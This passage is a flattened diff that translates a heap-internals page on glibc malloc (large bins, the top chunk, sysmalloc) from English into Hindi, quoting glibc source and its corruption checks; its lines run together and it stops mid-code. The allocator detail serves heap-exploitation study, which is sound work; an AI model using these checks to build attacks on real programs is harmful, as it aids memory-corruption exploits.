-If a chunk isn't found suitable for this, continue +यदि कोई टुकड़ा इसके लिए उपयुक्त नहीं पाया गया, तो जारी रखें -### Large Bin (next bigger) +### बड़े बिन (अगला बड़ा) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +यदि ठीक बड़े बिन में कोई टुकड़ा नहीं मिला जो उपयोग किया जा सके, तो सभी अगले बड़े बिन (तुरंत बड़े से शुरू करते हुए) के माध्यम से लूप करना शुरू करें जब तक कि एक नहीं मिल जाता (यदि कोई हो)। -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +विभाजित टुकड़े का शेष अनसॉर्टेड बिन में जोड़ा जाता है, last_reminder को अपडेट किया जाता है और वही सुरक्षा जांच की जाती है: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger) - +_int_malloc बड़े बिन (अगला बड़ा) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### Top Chunk -At this point, it's time to get a new chunk from the Top chunk (if big enough). +इस बिंदु पर, यह एक नए टॉप चंक को प्राप्त करने का समय है (यदि यह पर्याप्त बड़ा है)। -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +यह एक सुरक्षा जांच के साथ शुरू होता है यह सुनिश्चित करने के लिए कि चंक का आकार बहुत बड़ा नहीं है (खराब): - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +फिर, यदि यह पर्याप्त बड़ा है तो यह टॉप चंक स्थान का उपयोग करेगा ताकि अनुरोधित आकार का एक चंक बनाया जा सके।\ +यदि नहीं, तो यदि तेज चंक हैं, उन्हें समेकित करें और फिर से प्रयास करें।\ +अंत में, यदि पर्याप्त स्थान नहीं है तो `sysmalloc` का उपयोग करें ताकि पर्याप्त आकार आवंटित किया जा सके।
_int_malloc Top chunk - ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmalloc प्रारंभ -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +यदि एरेना शून्य है या अनुरोधित आकार बहुत बड़ा है (और अनुमति प्राप्त mmaps बचे हैं) तो स्थान आवंटित करने और इसे लौटाने के लिए `sysmalloc_mmap` का उपयोग करें।
-sysmalloc start - +sysmalloc प्रारंभ ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
-### sysmalloc checks +### sysmalloc जांच -It starts by getting old top chunk information and checking that some of the following condations are true: +यह पुराने टॉप चंक की जानकारी प्राप्त करने और यह जांचने से शुरू होता है कि निम्नलिखित में से कुछ शर्तें सत्य हैं: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- पुरानी हीप का आकार 0 है (नई हीप) +- पिछले हीप का आकार MINSIZE से बड़ा है और पुराना टॉप उपयोग में है +- हीप पृष्ठ आकार के अनुसार संरेखित है (0x1000 इसलिए निचले 12 बिट्स को 0 होना चाहिए) -Then it also checks that: +फिर यह भी जांचता है कि: -- The old size hasn't enough space to create a chunk for the requested size +- पुराने आकार में अनुरोधित आकार के लिए एक चंक बनाने के लिए पर्याप्त स्थान नहीं है
-sysmalloc checks - +sysmalloc जांच ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmalloc मुख्य एरेना नहीं -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +यह पहले इस हीप के लिए पिछले हीप को **विस्तारित** करने की कोशिश करेगा। यदि यह संभव नहीं है, तो **एक नया हीप आवंटित** करने की कोशिश करें और इसे उपयोग करने के लिए पॉइंटर्स को अपडेट करें।\ +अंत में, यदि यह काम नहीं करता है, तो **`sysmalloc_mmap`** को कॉल करने की कोशिश करें।
-sysmalloc not main arena - +sysmalloc मुख्य एरेना नहीं ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
-### sysmalloc main arena +### sysmalloc मुख्य एरेना -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +यह आवश्यक मेमोरी की मात्रा की गणना करना शुरू करता है। यह लगातार मेमोरी का अनुरोध करके शुरू करेगा, इसलिए इस मामले में पुराने उपयोग में न आने वाले मेमोरी का उपयोग करना संभव होगा। कुछ संरेखण संचालन भी किए जाते हैं।
-sysmalloc main arena - +sysmalloc मुख्य एरेना ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc मुख्य क्षेत्र पिछले त्रुटि 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +यदि पिछले में `MORECORE_FAILURE` वापस किया गया, तो `sysmalloc_mmap_fallback` का उपयोग करके मेमोरी आवंटित करने का प्रयास करें
-sysmalloc main arena previous error 1 - +sysmalloc मुख्य क्षेत्र पिछले त्रुटि 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### sysmalloc मुख्य क्षेत्र जारी रखें -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +यदि पिछले ने `MORECORE_FAILURE` नहीं लौटाया, यदि यह काम करता है तो कुछ संरेखण बनाएं:
-sysmalloc main arena previous error 2 - +sysmalloc मुख्य क्षेत्र पिछले त्रुटि 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & 